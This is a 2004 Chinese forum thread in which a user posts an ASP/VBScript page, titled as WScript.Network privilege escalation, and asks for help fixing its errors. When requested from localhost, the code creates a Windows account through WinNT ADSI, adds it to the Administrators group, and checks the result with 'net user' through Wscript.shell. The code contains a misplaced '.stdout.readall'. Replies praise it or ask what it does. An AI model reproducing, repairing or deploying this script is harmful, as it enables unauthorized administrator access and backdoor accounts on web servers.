joyon 发表于 2004 年 12 月 13 日 12:08:49

谁帮看下这段代码

<head>.network对象脚本权限提升</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="admin"><br>
密码:<input name="passwd" type="password"><br>
    <input type="submit" Value="添 加">
</form>



<%@codepage=936
on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
 response.write "iP !s n0T RiGHt"
else
 if request("username")<>"" then
     username=request("username")
     passwd=request("passwd")
     Response.Expires=0
     Session.TimeOut=50
     Server.ScriptTimeout=3000
     set lp=Server.CreateObject("WSCRIPT.NETWORK")
     oz="WinNT://"&lp.ComputerName
     Set ob=GetObject(oz)
     Set oe=GetObject(oz&"/Administrators,group")
     Set od=ob.Create("user",username)
     od.SetPassword passwd
     od.SetInfo
     oe.Add oz&"/"&username
     if err then
     response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
     else
     if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
     response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
     else
     Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
     end if
     end if
 else
     response.write "请输入输入用户名"
 end if
 end if
%>
----------------------------------------------------------------------------------------------
运行以后总是提示函数不匹配或者是缺少结束语句,
我仔细检查了,没有什么问题啊,分拆执行了也是一样的结果..............郁闷!

vbvs 发表于 2004 年 12 月 13 日 12:10:04

好东西
精华啊

joyon 发表于 2004 年 12 月 13 日 12:11:36

可是我在本机测试总是不通过,
是不是我机器的原因?

华山三少 发表于 2004 年 12 月 13 日 12:36:53

是干什么用的

风云 发表于 2004 年 12 月 13 日 12:37:33

下面是引用ghf于2004-12-13 12:36发表的:
是干什么用的
页: [1]
查看完整版本: 谁帮看下这段代码